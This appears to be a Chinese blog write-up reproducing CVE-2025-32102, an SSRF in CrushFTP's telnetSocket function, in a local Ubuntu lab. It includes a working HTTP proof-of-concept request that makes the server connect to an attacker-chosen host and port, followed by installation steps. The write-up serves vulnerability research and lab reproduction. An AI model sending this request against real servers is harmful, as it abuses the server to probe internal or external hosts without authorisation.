当前位置: 首页 > backend >正文

CVE-2025-32102 | Ubuntu 下复现 CrushFTP telnetSocket接口SSRF

目录

  • 1. 漏洞描述
  • 2. POC
  • 3. Ubuntu 搭建环境


1. 漏洞描述


CrushFTP是CrushFTP公司的一款文件传输服务器。

影响版本:CrushFTP 9.x 和 10.x 到 10.8.4 以及 11.x 到 11.3.1

2. POC


POST /WebInterface/function/ HTTP/1.1
Host: 192.168.119.144:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: http://192.168.119.144:8080/WebInterface/admin/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: currentAuth=DGfv; CrushAuth=1745390781868_uEmj17c4A6ypnRJCnZGXDj7wWEDGfv
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 101command=telnetSocket&sub_command=connect&host=127.0.0.1&port=8080&random=0.17159638175272862&c2f=DGfv

在这里插入图片描述

host参数的内容也可以是其他域名,查看域名的DNS解析记录即可确认是否访问成功。



3. Ubuntu 搭建环境


这里选择在 Ubuntu 中搭建 CrushFTP 11。

执行安装脚本:
wget -O - https://www.crushftp.com/crush11wiki/attach/Linux%20Install/configure.sh | bash
在这里插入图片描述


记住这个密码:‘crushadmin’ password = m4M7QsAe

(在 configure.sh 中设置了给 crushadmin 用户生成一个随机的密码。这里可以更改这个脚本,让生成的用户的密码是固定的,也可以后面再执行命令更改这个用户的密码。)



查看java版本,CrushFTP11 需要 Java17+:`java --version`

如果版本不符合,则执行下面的命令安装 JDK21:

wget https://download.java.net/java/GA/jdk21.0.1/415e3f918a1f4062a0074a2794853d0d/12/GPL/openjdk-21.0.1_linux-aarch64_bin.tar.gz
tar -xvf openjdk-21.0.1_linux-aarch64_bin.tar.gz
/bin/rm openjdk-21.0.1_linux-aarch64_bin.tar.gz
mv jdk-21* /var/opt/CrushFTP11/Java


进入 CrushFTP 的目录中 /var/opt/CrushFTP11(configure.sh 脚本中设置了将会安装在这个目录中),执行命令检查 init 脚本是否检测到它:./crushftp_init.sh info

在这里插入图片描述



启动 CrushFTP:./crushftp_init.sh start
在这里插入图片描述
(停止 CrushFTP 的命令:./crushftp_init.sh stop



生成 Admin 用户:./Java/bin/java -jar CrushFTP.jar -a "crushadmin" "123456"
这将创建一个新用户,并将其写入默认位置:用户/MainUsers/crushadmin/

现在,通过浏览器登录到管理控制台:

http://your_ip:8080/
https://your_ip:443/用户名:crushadmin
密码:123456


在这里插入图片描述



http://www.xdnf.cn/news/1800.html

相关文章:

  • dataType 和 content-type 参数的作用
  • 补4月22日23日
  • Sentieon软件发布V202503版本
  • 首版次软件产品有哪些阶段?专业软件测试服务公司分享
  • 使用String path = FileUtilTest.class.getResource(“/1.txt“).getPath(); 报找不到路径
  • Spring Boot 中配置线程池时优化 `ThreadPoolTaskExecutor` 的配置总结
  • DDL小练习
  • Java小公司实习面经
  • python字符串(3):字符集/编码(查看修改字符集,乱码);码点和字符的转换(chr和ord),字符串的编码解码函数(encode,decode)
  • Dockerfile指令
  • JavaScript 实现继承及 Class 本质详解
  • 【Python Web开发】02-Socket网络编程02
  • Java 高频面试题解析
  • Langchain提取结构化数据
  • 第九节:性能优化高频题-首屏加载优化策略
  • JS Array 方法 | 区分 slice 和 splice
  • `rfind()` 从字符串的右侧开始查找指定子字符串首次出现的位置
  • SiamFC算法深度解析
  • 深入浅出:Pinctrl与GPIO子系统详解
  • SpringCloud微服务架构设计与实践 - 面试实战
  • C语言别踩白块附源码
  • Trae+DeepSeek学习Python开发MVC框架程序笔记(四):使用sqlite存储查询并验证用户名和密码
  • 现代化个人博客系统 ModStartBlog v10.3.0 博客批量操作,博客评论智能审核,安全升级
  • 某大型电解铝厂电解系统谐波治理装置改造沃伦森电气
  • Linux之七大难命令(The Seven Difficult Commands of Linux)
  • U盘能识别但无法写入数据的原因
  • CSS学习笔记8——表格
  • STM32F103C8T6 GPIO 通讯原理与物理层解析
  • Git 详细使用说明文档(适合小白)
  • 数据结构-冒泡排序(Python)